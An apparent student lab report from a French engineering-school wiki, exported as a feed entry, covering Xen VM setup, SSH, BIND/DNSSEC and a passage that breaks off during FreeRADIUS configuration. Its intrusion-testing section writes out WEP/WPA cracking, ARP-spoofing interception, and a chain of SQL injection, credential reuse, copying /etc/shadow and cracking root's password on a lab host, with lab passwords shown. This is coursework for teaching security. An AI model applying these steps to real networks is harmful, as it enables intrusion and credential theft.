<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="fr">
		<id>https://wiki-ima.plil.fr/mediawiki//api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Bjacquot</id>
		<title>Wiki d'activités IMA - Contributions de l’utilisateur [fr]</title>
		<link rel="self" type="application/atom+xml" href="https://wiki-ima.plil.fr/mediawiki//api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Bjacquot"/>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php/Sp%C3%A9cial:Contributions/Bjacquot"/>
		<updated>2026-04-25T03:04:28Z</updated>
		<subtitle>Contributions de l’utilisateur</subtitle>
		<generator>MediaWiki 1.29.2</generator>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G6&amp;diff=57839</id>
		<title>TP sysres IMA5 2021/2022 G6</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G6&amp;diff=57839"/>
				<updated>2022-01-11T14:39:17Z</updated>
		
		<summary type="html">&lt;p&gt;Bjacquot : /* Serveur SSH */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__TOC__&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=Création de la machine virtuelle=&lt;br /&gt;
&lt;br /&gt;
On veut créer notre machine virtuelle sur l'hyperviseur (HV) capbreton. Afin de pouvoir télécharger l'image Debian, on utilise tout d'abord la commande suivante :&lt;br /&gt;
&lt;br /&gt;
 $ export http_proxy=http://proxy.plil.fr:3128&lt;br /&gt;
&lt;br /&gt;
Pour lancer la création de la machine virtuelle, on doit donner le nom de la machine qui sera Bellerose (d'après le thème des noms de bière). Ensuite nous avons l'adresse IP qui nous a été attribuée lors de la répartition des groupes (donc pour nous ce sera 193.48.57.181). On donne aussi l'adresse IP du routeur flottant (193.48.57.190) et le masque du réseau (255.255.255.240 car c'est un /28). On indique également l'emplacement des disques virtuels : /usr/local/xen, le mot de passe pour se connecter à la machine virtuelle : pasglop, et la distribution que nous allons utiliser qui est Debian bullseye.&lt;br /&gt;
&lt;br /&gt;
 $ xen-create-image --hostname=Bellerose --ip=193.48.57.181 --gateway=193.48.57.190 --netmask=255.255.255.240 --dir=/usr/local/xen --password=pasglop --dist=bullseye&lt;br /&gt;
&lt;br /&gt;
On crée ensuite 2 LV de 10 Go (nommés Bellerose1 et Bellerose2) sur le groupe de volume storage.&lt;br /&gt;
&lt;br /&gt;
 $ lvcreate -L10G -n Bellerose1 storage&lt;br /&gt;
 $ lvcreate -L10G -n Bellerose2 storage&lt;br /&gt;
&lt;br /&gt;
Puis il faut les formater au format ext4, alors on utilise les commandes suivantes :&lt;br /&gt;
&lt;br /&gt;
 $ mkfs.ext4 /dev/storage/Bellerose1&lt;br /&gt;
 $ mkfs.ext4 /dev/storage/Bellerose2&lt;br /&gt;
&lt;br /&gt;
On modifie notre fichier /etc/xen/Bellerose.cfg pour indiquer à la machine virtuelle qu'elle possède les volumes logiques Bellerose1 et Bellerose2 (on ajoute alors 2 lignes dans la fonction disk) et on ajoute le bridge IMA5sc dans la fonction vif.&lt;br /&gt;
&lt;br /&gt;
 $ vim /etc/xen/Bellerose.cfg&lt;br /&gt;
 disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/Bellerose/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/Bellerose/swap.img,xvda1,w',&lt;br /&gt;
                  'phy:/dev/storage/Bellerose1,xvda3,w',&lt;br /&gt;
                  'phy:/dev/storage/Bellerose2,xvda4,w'&lt;br /&gt;
               ]&lt;br /&gt;
 vif         = [ 'ip=193.48.57.181 ,mac=00:16:3E:FA:D0:95 ,bridge=IMA5sc' ]&lt;br /&gt;
&lt;br /&gt;
On peut maintenant lancer notre machine virtuelle :&lt;br /&gt;
&lt;br /&gt;
 $ xl create -c /etc/xen/Bellerose.cfg&lt;br /&gt;
&lt;br /&gt;
Avec la commande :&lt;br /&gt;
&lt;br /&gt;
 $ cat /etc/fstab&lt;br /&gt;
&lt;br /&gt;
On voit xvda1 et xvda2. On va créer xvda3 et xvda4 pour pouvoir y mettre les répertoires var et home de notre machine virtuelle :&lt;br /&gt;
&lt;br /&gt;
 $ mkdir /mnt/xvda3&lt;br /&gt;
 $ mkdir /mnt/xvda4&lt;br /&gt;
 $ mount /dev/xvda3 /mnt/xvda3&lt;br /&gt;
 $ mount /dev/xvda4 /mnt/xvda4&lt;br /&gt;
&lt;br /&gt;
Puis on déplace le répertoire var dans le disque xvda4 :&lt;br /&gt;
&lt;br /&gt;
 $ mv /var/* /mnt/xvda4&lt;br /&gt;
&lt;br /&gt;
Pour monter les disques, on ajoute ces lignes dans le fichier /etc/fstab :&lt;br /&gt;
&lt;br /&gt;
 # /home vers xvda3&lt;br /&gt;
 /dev/xvda3 /home ext4 defaults 0 2&lt;br /&gt;
 # /var vers xvda4&lt;br /&gt;
 /dev/xvda4 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
On monte le tout à l'aide de la commande :&lt;br /&gt;
&lt;br /&gt;
 mount -a&lt;br /&gt;
&lt;br /&gt;
Enfin avec lsblk, on peut voir les deux partitions de notre VM :&lt;br /&gt;
&lt;br /&gt;
 $ lsblk&lt;br /&gt;
 xvda3 202:3 0 10G 0 disk /home&lt;br /&gt;
 xvda4 202:4 0 10G 0 disk /var&lt;br /&gt;
&lt;br /&gt;
Enfin, nous activons l'IPv6 sur l'interface en modifiant &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 iface eth0 inet6 auto&lt;br /&gt;
 &lt;br /&gt;
Pour quitter la VM : CTRL+]&lt;br /&gt;
&lt;br /&gt;
= Services Internet =&lt;br /&gt;
&lt;br /&gt;
== Serveur SSH ==&lt;br /&gt;
&lt;br /&gt;
 $ apt install openssh-server&lt;br /&gt;
&lt;br /&gt;
on édite le fichierde conf &amp;lt;code&amp;gt;/etc/ssh/sshd_config&amp;lt;/code&amp;gt; (via ssh key) :&lt;br /&gt;
&lt;br /&gt;
 PermitRootLogin without-password // je l'ai repassé en &amp;quot;yes&amp;quot; suite au mail et le mdp root est celui de pifou habituel &lt;br /&gt;
 PubkeyAuthentication yes&lt;br /&gt;
&lt;br /&gt;
après on reload la conf&lt;br /&gt;
&lt;br /&gt;
 $ systemctl reload ssh&lt;br /&gt;
&lt;br /&gt;
On génère une clé ssh depuis notre zabeth avec &amp;lt;code&amp;gt;ssh-keygen -t ed25519&amp;lt;/code&amp;gt; et on l'ajoute dans &amp;lt;code&amp;gt;/.ssh/authorized_keys&amp;lt;/code&amp;gt; et c'est gooooood&lt;br /&gt;
&lt;br /&gt;
== Serveur DNS ==&lt;br /&gt;
&lt;br /&gt;
on achète le ndd&lt;br /&gt;
&lt;br /&gt;
on crée un &amp;quot;Glue Record&amp;quot; pour notre nameserver &amp;lt;code&amp;gt;ns1.belle-rose.site&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
on install bind&lt;br /&gt;
&lt;br /&gt;
 $ apt install bind9&lt;br /&gt;
&lt;br /&gt;
on configure &amp;lt;code&amp;gt;/etc/resolv.conf&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 nameserver 127.0.0.1&lt;br /&gt;
&lt;br /&gt;
on configure bind &amp;lt;code&amp;gt;/etc/bind/named.conf.local&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;belle-rose.site&amp;quot; IN {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/db.belle-rose.site&amp;quot;;&lt;br /&gt;
         allow-transfer { 217.70.177.40; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
On ajoute nos ns &amp;lt;code&amp;gt;/etc/bind/db.belle-rose.site&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND dans ta face&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL	604800&lt;br /&gt;
 @	IN	SOA	ns1.belle-rose.site. postmaster.belle-rose.site. (&lt;br /&gt;
 			      2		; Serial&lt;br /&gt;
 			 604800		; Refresh&lt;br /&gt;
 			  86400		; Retry&lt;br /&gt;
 			2419200		; Expire&lt;br /&gt;
 			 604800 )	; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @	IN	NS	ns1.belle-rose.site.&lt;br /&gt;
 @	IN	NS	ns6.gandi.net.&lt;br /&gt;
 ns1	IN	A	193.48.57.181&lt;br /&gt;
&lt;br /&gt;
Ensuite on peut tester notre conf avec&lt;br /&gt;
&lt;br /&gt;
 $ host -t any ns1.belle-rose.site localhost&lt;br /&gt;
 Using domain server:&lt;br /&gt;
 Name: localhost&lt;br /&gt;
 Address: 127.0.0.1#53&lt;br /&gt;
 Aliases: &lt;br /&gt;
 &lt;br /&gt;
 ns1.belle-rose.site has address 193.48.57.181&lt;br /&gt;
&lt;br /&gt;
Et on incrémente aussi le Serial dans &amp;lt;code&amp;gt;/etc/bind/db.belle-rose.site&amp;lt;/code&amp;gt; à 3.&lt;br /&gt;
&lt;br /&gt;
== Certificat ==&lt;br /&gt;
&lt;br /&gt;
Notre certificat Gandi nous a été retiré de force par quelqu'un de mal intentionné. De ce fait, nous avons utilisé un certificat &amp;lt;code&amp;gt;Let's Encrypt&amp;lt;/code&amp;gt;. Après avoir installé &amp;lt;code&amp;gt;certbot&amp;lt;/code&amp;gt;, on utilise simplement la commande :&lt;br /&gt;
&lt;br /&gt;
 certbot --apache&lt;br /&gt;
&lt;br /&gt;
https://www.belle-rose.site/ IZOK&lt;br /&gt;
&lt;br /&gt;
== DNSSEC ==&lt;br /&gt;
&lt;br /&gt;
On suit les étapes suivantes :&lt;br /&gt;
&lt;br /&gt;
1. On ajoute l’option &amp;lt;code&amp;gt;dnssec-enable yes;&amp;lt;/code&amp;gt; dans le fichier &amp;lt;code&amp;gt;named.conf.options&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
2. On crée un répertoire &amp;lt;code&amp;gt;belle-rose.site.dnssec&amp;lt;/code&amp;gt; pour y générer les clefs&lt;br /&gt;
&lt;br /&gt;
3. On crée la clef asymétrique de signature de clefs de zone :&lt;br /&gt;
&lt;br /&gt;
 $ dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE belle-rose.site&lt;br /&gt;
&lt;br /&gt;
4. On crée la clef asymétrique de la zone pour signer les enregistrements&lt;br /&gt;
&lt;br /&gt;
 $ dnssec-keygen -a RSASHA1 -b 1024 -n ZONE belle-rose.site &lt;br /&gt;
&lt;br /&gt;
5. On renomme les deux paires de clefs obtenues en utilisant le nom de la zone comme préfixe puis en suffixant d’abord par la destination de la clef (-ksk pour la KSK ou -zsk pour la ZSK) puis par le type de clef (.key pour la clef publique ou .private pour la clef privée);&lt;br /&gt;
&lt;br /&gt;
 $ mv Kbelle-rose.site.+005+37138.key belle-rose.site-ksk.key&lt;br /&gt;
 $ mv Kbelle-rose.site.+005+35638.key belle-rose.site-zsk.key&lt;br /&gt;
 $ mv Kbelle-rose.site.+005+37138.private belle-rose.site-ksk.private&lt;br /&gt;
 $ mv Kbelle-rose.site.+005+35638.private belle-rose.site-zsk.private&lt;br /&gt;
&lt;br /&gt;
6. On inclue les clefs publiques dans votre fichier de zone &amp;lt;code&amp;gt;/etc/bind/db.belle-rose.site&amp;lt;/code&amp;gt;, et on incrémente le numéro de version de la zone ;&lt;br /&gt;
&lt;br /&gt;
 $include /etc/bind/belle-rose.site.dnssec/belle-rose.site-ksk.key&lt;br /&gt;
 $include /etc/bind/belle-rose.site.dnssec/belle-rose.site-zsk.key&lt;br /&gt;
  &lt;br /&gt;
7. On signe les enregistrements de la zone ;&lt;br /&gt;
&lt;br /&gt;
 $ dnssec-signzone -o belle-rose.site -k belle-rose.site-ksk ../db.belle-rose.site belle-rose.site-zsk&lt;br /&gt;
&lt;br /&gt;
8. On modifie le fichier &amp;lt;code&amp;gt;named.conf.local&amp;lt;/code&amp;gt; pour utiliser la zone signée de suffixe .signed :&lt;br /&gt;
&lt;br /&gt;
 $ vim ../named.conf.local&lt;br /&gt;
 zone &amp;quot;belle-rose.site&amp;quot; IN {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.belle-rose.site.signed&amp;quot;;&lt;br /&gt;
        allow-transfer { 217.70.177.40; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
9. il ne reste plus qu’à communiquer la partie publique de la KSK (présente dans le fichier www.belle-rose.site-ksk.key) à notre registrar (sur gandi.net, dans la section &amp;quot;Manage DNSSEC&amp;quot; puis &amp;quot;DNS servers&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
  root@Bellerose:/etc/bind/belle-rose.site.dnssec# cat belle-rose.site-ksk.key &lt;br /&gt;
  ; This is a key-signing key, keyid 22094, for belle-rose.site.&lt;br /&gt;
  ; Created: 20220111091701 (Tue Jan 11 09:17:01 2022)&lt;br /&gt;
  ; Publish: 20220111091701 (Tue Jan 11 09:17:01 2022)&lt;br /&gt;
  ; Activate: 20220111091701 (Tue Jan 11 09:17:01 2022)&lt;br /&gt;
  belle-rose.site. IN DNSKEY 257 3 5 AwEAAbbNBQJskwFezV1LwDsxAkCVbOcy4X3/mgffMjd/3FIHZpkdVrk3 w88041cgWbVSmom0ma8fFNqntidWlO//rMPvKT0ex3dqCse7on3/odox vxR3Zh5hPdv4K7X35BLuZta4x/RCBLgiFVyXo12qqBl0Htxn2hRyycKv 2caEYwnyRI75KSrr5f5XtQS8LyZCbtmMAp5YJu1wiDxwLcUwwJKvYS+q dtq4sm3KwW+qbjcUswkMMjXNAsvzwZ5FyHcondvvPuErc+Fhdvpxyoq+ W44ynLRnz7cb3R44z/TXFCwNlQI3MWzFvhbDK1YeJLpqjgYrET4eqqka mbFMYuLPQzE=&lt;br /&gt;
&lt;br /&gt;
(on copie que la partie chiffrée, pas le record DNSKEY)&lt;br /&gt;
&lt;br /&gt;
10. Enfin, nous pouvons tester la configuration:&lt;br /&gt;
&lt;br /&gt;
 root@Bellerose:~# host -t any belle-rose.site&lt;br /&gt;
 belle-rose.site has RRSIG record DS 8 2 3600 20220210205226 20220111074233 56238 site. t5ANbAiG69DP5E9ccCIMtEEMs1urP6mSQpb210bDUbCD7vdXqONhLJ9M dcjyHQjhdTWKd9qc48tnY8fwL4PUeOYLexcaUEQgLMkbEBUDMzpcvMsb n4sM2BXgk7lJ9vyE1zsgfBNg7X8IV5c7sRrEuZyg7VbjPYmqx5BJ3cC8 Dy0=&lt;br /&gt;
 belle-rose.site has DS record 22094 5 2 86D5EAC51853FAA1865BB63C0F353EEB50D5A59093409E66A3F7044C AC3AF70F&lt;br /&gt;
 belle-rose.site name server ns6.gandi.net.&lt;br /&gt;
 belle-rose.site name server ns1.belle-rose.site.&lt;br /&gt;
 belle-rose.site has RRSIG record DNSKEY 5 2 604800 20220210082130 20220111082130 6672 belle-rose.site. bh2pFBuNXANoGib6RK5MAab6xy7jbUEYVOr6Pk/pa8weJPD/ACk0Z1pm urvc++ReoccxNxNy+BCd2Ri1GLhZ+kGXrF8xuNUYdyo+zpd+zZUgrx1C hKRSUqeBVpAn0uyDlRtG8cPPw01iYpDBCqmnif7+GblIH6eSJhOf+98d l8o=&lt;br /&gt;
 belle-rose.site has RRSIG record DNSKEY 5 2 604800 20220210082130 20220111082130 22094 belle-rose.site. JLB0MJqr8rfBq2MiVrZaRyDo/7/7V1GUGwCi108w8CgeUrIdImgXERY4 2nXQ21aym3Po0i+zs5DmEonEkTGMi63kjUG8ZeFjMCFm7KtNhRK8FkQk Be2yzv3odAhh/gmMyRsMa7yoLwaDWZVd4NkCJ6EaqNXP7yspcHD6pmHt 4RKJgCUo6zpLAJnFiU1cwIR+lS/HeFEW2OzOtvi/LH8bL1zewioEpTgi qHLplK68KR/1cX/4Dq2C3CaeChteMx//EkW9Vmwjg9BhRjE/VCa8P80w qJEiXeg8KXYLkCEiBK5ifgKy5EMxDG5q18ieRXaUc0F6FpG0A4POpTVx pscHmA==&lt;br /&gt;
 belle-rose.site has DNSKEY record 257 3 5 AwEAAbbNBQJskwFezV1LwDsxAkCVbOcy4X3/mgffMjd/3FIHZpkdVrk3 w88041cgWbVSmom0ma8fFNqntidWlO//rMPvKT0ex3dqCse7on3/odox vxR3Zh5hPdv4K7X35BLuZta4x/RCBLgiFVyXo12qqBl0Htxn2hRyycKv 2caEYwnyRI75KSrr5f5XtQS8LyZCbtmMAp5YJu1wiDxwLcUwwJKvYS+q dtq4sm3KwW+qbjcUswkMMjXNAsvzwZ5FyHcondvvPuErc+Fhdvpxyoq+ W44ynLRnz7cb3R44z/TXFCwNlQI3MWzFvhbDK1YeJLpqjgYrET4eqqka mbFMYuLPQzE=&lt;br /&gt;
 belle-rose.site has DNSKEY record 256 3 5 AwEAAdZrHCSjl8nMZ0pwfODUtCs4nD6iStiZzuBAfWTsm75qpG6JJzpr e3Oqqyr/Dm1bwXbLQUd0GNgGAidiAQtkbZIb/5ZQxuVxft2kp0GKUr34 44Bw1Gh8af1Npk9cqK368U6oD+EIrV2AnA2KC/KXm+DziNOkmifaFVvO rh6p91Ut&lt;br /&gt;
 belle-rose.site has RRSIG record NSEC 5 2 604800 20220210082130 20220111082130 6672 belle-rose.site. RXnysXybktajyP82ERJn1m9z/5dkOQABIzfUPf2/08jFQq96AMmEggH2 sAy/3wv6SKiwAvBN3dFkYtIefMAK0MdLykIwwLrGQwK1BSv5KKLCowtO Bdks2pjgBPFE4J/MnBnBXSm0HunudjziNgz+PN3bY/IieyPzIBfpHM0y UfM=&lt;br /&gt;
 belle-rose.site has NSEC record ns1.belle-rose.site. NS SOA RRSIG NSEC DNSKEY&lt;br /&gt;
 belle-rose.site has RRSIG record NS 5 2 604800 20220210082130 20220111082130 6672 belle-rose.site. GZRzkPkOu/RKjCE2+NWhHfTcicDCoaBq/QjimrrVPsMcse0pPebFZkTr lRHMLHZEglzopIigLwj3DQ7yjuB6EiAhudUWwZri82LjkVs+z5ItMPo6 kudNvs5oUqVGX7E6toy5rU11yBgPDNijuCI1aahUJpwAEOl9sGi9uJ9I NaI=&lt;br /&gt;
 belle-rose.site has RRSIG record SOA 5 2 604800 20220210082130 20220111082130 6672 belle-rose.site. rDQsyAPj2RG4epQ7AFGrpU4JzyAi1kif3X4N8L+53IrlNWMcByyCVtAA 1XRQ8+Ag7f8/Z7nMhLbRuPtEH6efhZJfhEOuuU0SK7Nernm6WgkCS4UI e4VVtXtbHLeM+CncfUywqpKRhyZB9qEpzloNdI6zyOlzS9bH9qMwZFSS TWY=&lt;br /&gt;
 belle-rose.site has SOA record ns1.belle-rose.site. postmaster.belle-rose.site. 6 604800 86400 2419200 604800&lt;br /&gt;
&lt;br /&gt;
= Tests d'intrusion =&lt;br /&gt;
&lt;br /&gt;
== Exploitation de failles du système ==&lt;br /&gt;
&lt;br /&gt;
Après plusieurs recherches, nous avons trouvé un petit soft permettant d'audit notre système et y afficher les possibles failles. &amp;gt; https://github.com/mzet-/linux-exploit-suggester&lt;br /&gt;
&lt;br /&gt;
En suivant la documentation :&lt;br /&gt;
&lt;br /&gt;
 $ wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh -O les.sh&lt;br /&gt;
 $ chmod +x les.sh &amp;amp;&amp;amp; ./les.sh&lt;br /&gt;
&lt;br /&gt;
On obtient les failles suivantes (audit réalisé sur notre VM) :&lt;br /&gt;
&lt;br /&gt;
 [+] [CVE-2021-27365] linux-iscsi&lt;br /&gt;
 ...&lt;br /&gt;
 [+] [CVE-2021-22555] Netfilter heap out-of-bounds write&lt;br /&gt;
 ...&lt;br /&gt;
 [+] [CVE-2019-13272] PTRACE_TRACEME&lt;br /&gt;
 ...&lt;br /&gt;
&lt;br /&gt;
== Cassage de clef WEP d’un point d’accès WiFi ==&lt;br /&gt;
&lt;br /&gt;
On commence par rechercher le nom de notre interface. On utilise alors la commande (en root) :&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng&lt;br /&gt;
&lt;br /&gt;
On trouve l'interface suivante :&lt;br /&gt;
&lt;br /&gt;
 wlx40a5ef0127d0&lt;br /&gt;
&lt;br /&gt;
On essaie de démarrer l'interface sur le channel 3 :&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng start wlx40a5ef0127d0 3&lt;br /&gt;
&lt;br /&gt;
Or on remarque que la réponse de la commande nous indique que l'interface a été renommé automatiquement &amp;quot;wlan0mon&amp;quot;. On ré-utilise la commande précédente avec le nouveau nom d'interface :&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng start wlan0mon 3&lt;br /&gt;
&lt;br /&gt;
On écoute ensuite tous les paquets dans l'air :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng wlan0mon&lt;br /&gt;
&lt;br /&gt;
A partir de là, on peut choisir un point d'accès à cracker en utilisant son BSSID (obtenu par la commande précédente). On choisit cracotte06.&lt;br /&gt;
&lt;br /&gt;
 $ aireplay-ng -9 -e cracotte06 -a 04:DA:D2:9C:50:55 wlan0mon&lt;br /&gt;
&lt;br /&gt;
On peut récupérer les VI générés par le point d'accès en les stockant dans les fichiers output. On donne le channel 4 puisque le point d'accès est sur ce channel :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng -c 4 --bssid 04:DA:d2:9C:50:55 -w output wlan0mon&lt;br /&gt;
&lt;br /&gt;
On effectue de fausses authentifications avec la commande aireplay-ng dans un nouveau terminal :&lt;br /&gt;
&lt;br /&gt;
 $ aireplay-ng -1 0 -e cracotte06 -a 04:DA:D2:9C:50:55 -h 40:A5:EF:01:0E:5F wlan0mon&lt;br /&gt;
&lt;br /&gt;
L'adresse MAC source donnée après le -h est obtenue lorsque l'on récupère les VI.&lt;br /&gt;
&lt;br /&gt;
Il faut maintenant laisser tourner la commande de récupération des VI assez longtemps pour obtenir assez de données (pour nous içi il a fallu attendre 40000 datas). On peut ensuite décrypter la clef WEP :&lt;br /&gt;
&lt;br /&gt;
 $ aircrack-ng -b 04:DA:D2:9C:50:55 output*.cap&lt;br /&gt;
&lt;br /&gt;
On obtient alors :&lt;br /&gt;
&lt;br /&gt;
 KEY FOUND ! [ 55:55:55:55:5A:BC:07:CB:A4:44:44:44:44 ]&lt;br /&gt;
 Decrypted correctly: 100%&lt;br /&gt;
&lt;br /&gt;
== Cassage de mot de passe WPA-PSK par force brute ==&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng&lt;br /&gt;
 $ airmon-ng start wlan0mon 9&lt;br /&gt;
 $ airodump-ng wlan0mon&lt;br /&gt;
&lt;br /&gt;
On choisit le point d'accès kracotte06 à cracker. On récupère son BSSID avec la commande précédente et on utilise :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng -c 4 --bssid 44:AD:D9:5F:87:05 -w psk wlan0mon&lt;br /&gt;
&lt;br /&gt;
On crée le dictionnaire contenant toutes les clefs à tester avec la commande &amp;lt;code&amp;gt;crunch&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 $ crunch 8 8 0123456789 -o dictionnaire.lst&lt;br /&gt;
&lt;br /&gt;
Pour savoir si un Handshake a été trouvé, on utilise la commande :&lt;br /&gt;
&lt;br /&gt;
 $ aircrack-ng psk*.cap&lt;br /&gt;
&lt;br /&gt;
On trouve : &lt;br /&gt;
&lt;br /&gt;
 #  BSSID               ESSID        Encryption&lt;br /&gt;
 1  44:AD:D9:5F:87:05   kracotte06   WPA (1 handshake)&lt;br /&gt;
&lt;br /&gt;
On peut alors lancer la commande de test des clefs :&lt;br /&gt;
&lt;br /&gt;
 $ aircrack-ng -w dictionnaire.lst -b 44:AD:D9:5F:87:05 psk*.cap&lt;br /&gt;
&lt;br /&gt;
Après un peu d'attente, on obtient la clef suivante :&lt;br /&gt;
&lt;br /&gt;
 KEY FOUND! [ 59906999 ]&lt;br /&gt;
&lt;br /&gt;
== Attaque de type &amp;quot;homme au milieu&amp;quot; par usurpation ARP ==&lt;br /&gt;
&lt;br /&gt;
On branche un PC bleu sur une zabeth en ethernet et on lui configure une IP. Ensuite on peut installer dsniff et wireshark.&lt;br /&gt;
&lt;br /&gt;
On fait :&lt;br /&gt;
&lt;br /&gt;
 $ echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
Puis on se fait passer pour le routeur (172.26.145.254) auprès de la zabeth (172.26.145.61):&lt;br /&gt;
&lt;br /&gt;
 $ arpspoof -t 172.26.145.61 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
En lançant wireshark, on peut voir les informations envoyées par la zabeth passer en clair.&lt;br /&gt;
&lt;br /&gt;
== Intrusion sur un serveur d’application Web ==&lt;br /&gt;
&lt;br /&gt;
Sur honey.plil.info : &lt;br /&gt;
&lt;br /&gt;
1. injection SQL&lt;br /&gt;
&lt;br /&gt;
2. connexion en tant qu'admin&lt;br /&gt;
&lt;br /&gt;
3. telechargement du fichier &amp;quot;config-db.php&amp;quot; (On remarque que il existe une BDD phpmyadmin) et &amp;quot;database.php&amp;quot; (ce fichier semble lui ne pas nous apporter d'informations)&lt;br /&gt;
&lt;br /&gt;
4. honey.plil.info/phpmyadmin -&amp;gt; connexion avec les logins trouvés dans le fichier &amp;quot;config-db.php&amp;quot; (phpmyadmin et gencovid19). On trouve alors une table &amp;quot;pma_users&amp;quot; indiquant le nom de plusieurs utilisateurs (totor62, manuals, phpmyadmin et root).&lt;br /&gt;
&lt;br /&gt;
5. en essayant le mdp &amp;quot;gencovid19&amp;quot; avec ces identifiants sur phpmyadmin : on peut se connecter en tant que &amp;quot;root&amp;quot; sur la BDD et on trouve le mdp de rex dans la bdd &amp;quot;test&amp;quot; et table &amp;quot;users&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
6. connexion en ssh sur rex@honey.plil.info.&lt;br /&gt;
&lt;br /&gt;
7. comme indication : &amp;quot;le mot de passe de root possède la même particularité que le mot de passe administrateur habituel des machines de projets&amp;quot;. Alors on va créer un fichier de mots de 4 lettre pour ensuite doubler ces mots (exemple : bobo =&amp;gt; bobobobo) pour essayer de cracker le mot de passe par la force brute. On créée alors le dictionnaire avec l'utilitaire crunch comme pour obtenir les clefs WEP :&lt;br /&gt;
&lt;br /&gt;
 $ crunch 4 4 abcdefghijklmnopqrstuvwxyz &amp;gt; dico.txt&lt;br /&gt;
&lt;br /&gt;
Et on double la taille des mots :&lt;br /&gt;
&lt;br /&gt;
 $ sed -i 's/\(.*\)/\1\1/' dico.txt&lt;br /&gt;
&lt;br /&gt;
On copie ensuite les fichiers &amp;quot;/etc/passwd&amp;quot; et &amp;quot;/etc/shadow&amp;quot; de rex@honey.plil.info sur notre zabeth. &lt;br /&gt;
&lt;br /&gt;
 $ scp rex@honey.plil.info:/etc/passwd .&lt;br /&gt;
 $ scp rex@honey.plil.info:/etc/shadow .&lt;br /&gt;
&lt;br /&gt;
On utilise alors l'utilitaire &amp;quot;shadow&amp;quot; pour obtenir un fichier contenant le mot de passe haché de root :&lt;br /&gt;
&lt;br /&gt;
 $ unshadow passwd shadow | head -1 &amp;gt; honey&lt;br /&gt;
&lt;br /&gt;
Puis on utilise &amp;quot;John the Ripper&amp;quot; pour cracker le mot de passe :&lt;br /&gt;
&lt;br /&gt;
 $ john -w:dico.txt honey&lt;br /&gt;
&lt;br /&gt;
Après quelques minutes, on peut afficher le mot de passe trouvé :&lt;br /&gt;
&lt;br /&gt;
 $ john --show honey&lt;br /&gt;
 root:fortfort:0:0:root:/root:/bin/bash&lt;br /&gt;
 1 password hash cracked, 0 left&lt;br /&gt;
&lt;br /&gt;
On trouve le mot de passe de root@honey.plil.info qui est &amp;quot;fortfort&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
= Point d'accès Wi-Fi authentifié via FreeRADIUS =&lt;br /&gt;
&lt;br /&gt;
== Configuration du point d'accès ==&lt;br /&gt;
&lt;br /&gt;
=== Point d'accès ===&lt;br /&gt;
&lt;br /&gt;
Tout d'abord il faut configurer l'authentification EAP dans la configuration :&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  aaa new-model&lt;br /&gt;
  aaa authentication login eap_rose group radius_rose&lt;br /&gt;
  radius-server host 193.48.57.181 auth-port 1812 acct-port 1813 key zinzin&lt;br /&gt;
  aaa group server radius radius_rose&lt;br /&gt;
  server 193.48.57.181 auth-port 1812 acct-port 1813&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
Configurons le SSID :&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  dot11 ssid SSID_ROSE&lt;br /&gt;
  vlan 5&lt;br /&gt;
   authentication open eap eap_rose&lt;br /&gt;
   authentication network-eap eap_rose&lt;br /&gt;
   authentication key-management wpa&lt;br /&gt;
   mbssid guest-mode&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
On associe notre SSID à l'interface WIFI :&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  interface Dot11Radio0&lt;br /&gt;
   encryption vlan 5 mode ciphers aes-ccm tkip&lt;br /&gt;
   ssid SSID_ROSE&lt;br /&gt;
   mbssid&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
On paramètre notre VLAN (5)&lt;br /&gt;
&lt;br /&gt;
